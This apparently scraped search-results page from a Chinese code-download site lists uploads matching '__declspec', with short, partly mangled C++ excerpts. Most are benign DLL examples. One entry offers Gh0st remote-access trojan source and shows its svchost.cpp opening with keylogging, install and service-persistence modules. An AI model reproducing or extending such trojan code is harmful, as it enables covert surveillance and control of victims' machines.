Location:
Search - __declspec
Search list
Description: 动态连接库的调用测试
__declspec(dllimport)
-Dynamic Link Library call test __declspec (dllimport)
Platform: |
Size: 3625984 |
Author: 顾东国 |
Hits:
Description: DLL 动态库,主要 用Hook 对注册表的指定项 进行动态的监控,参数由自己输入,-
extern "C" __declspec(dllexport) BOOL InstallHook(HWND handle)
{
hhook = ::SetWindowsHookEx(WH_SHELL, MyShellProc, GetModuleHandle("Hook.dll"), 0)
hWnd = handle
RegMonPID = GetCurrentProcessId()
return hhook > 0
}
Platform: |
Size: 87040 |
Author: oracle |
Hits:
Description: 大智慧买股简单的事情,华尔街选股生命线_DLL 会用的是宝贝-// FxjFunc.cpp : Defines the entry point for the DLL application.
//
#include "stdafx.h"
#include "FxjFunc.h"
#include<math.h>
BOOL APIENTRY DllMain( HANDLE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break
}
return TRUE
}
//计算收盘价的均价,一个常数参数,表示计算周期
//调用方法:
// MYMACLOSE(5)
__declspec(dllexport) int WINAPI A(CALCINFO* pData)
{
#define cc(i) pData->m_pData.m_fClose
int nPeriod=10,i
float x05=0.5f,x40=4.0f,xx50=-5.0f,x100=10.0f
float z10,z20,z2c,z24,z14,z30,zx
float f2
int dd=pData->m_nNumData+10
float*qa1,*qa2,*qa3
qa1=new > Downloads > 源码/资料 > *行业应用
Platform: |
Size: 1024 |
Author: dd |
Hits:
Description: (测试VC中内联纯汇编__declspec(naked)-(Test VC pure inline assembler __declspec (naked)
Platform: |
Size: 209920 |
Author: 在在 |
Hits:
Description: Jaafar
#ifndef JAAFARDLL_H
#define JAAFARDLL_H
extern __declspec(dllexport) double Avg(double, double)
#endif
Platform: |
Size: 1024 |
Author: Sicca |
Hits:
Description: External linkage is required. __declspec(dllexport) static int StaticGlobal .
Platform: |
Size: 1024 |
Author: zmgsfe |
Hits:
Description: ghost小马源码,喜欢的可以拿去研究。-// svchost.cpp : Defines the entry point for the console application.
//
#pragma comment(linker, /OPT:NOWIN98 )
#include ClientSocket.h
#include common/KernelManager.h
#include common/KeyboardManager.h
#include common/login.h
#include common/install.h
#include common/until.h
#include <stdio.h>
enum
{
NOT_CONNECT, // 还没有连接
GETLOGINFO_ERROR,
CONNECT_ERROR,
HEARTBEATTIMEOUT_ERROR
}
extern C __declspec(dllexport) void ServiceMain(int argc, wchar_t* argv[])
//void __stdcall AntiYun()
//void __stdcall MoniteGame()
int TellSCM( DWORD dwState, DWORD dwExitCode, DWORD dwProgress )
void __stdcall ServiceHandler(DWORD dwControl)
#ifdef _CONSOLE
int main(int argc, char**argv)
#else
DWORD WINAPI main(char*lpServiceName)
#endif
SERVICE_STATUS_HANDLE hServiceStatus
DWORD g_dwCurrState
DWORD g_dwServiceType
char svcname[MAX_PATH]
LONG WINAPI bad_exception(struct _EXCEPTION_POINTERS* ExceptionInfo)
{
// 发生异常,重新创建进程
HANDLE
Platform: |
Size: 4096 |
Author: 段誉 |
Hits:
Description: 图像识别,功能很强大,对你有帮助。。。。。’(#include "stdafx.h"
#include "cv.h"
#include "highgui.h"
extern "C" __declspec(dllexport) void Show()
{
IplImage *img = cvLoadImage("E:\\Image\\a.jpg");
cvNamedWindow("Image:", 1);
cvShowImage("Image:", img);
cvWaitKey();
cvDestroyWindow("Image:");
cvReleaseImage(&img);
return;
})
Platform: |
Size: 7601152 |
Author: maoxiansheng
|
Hits: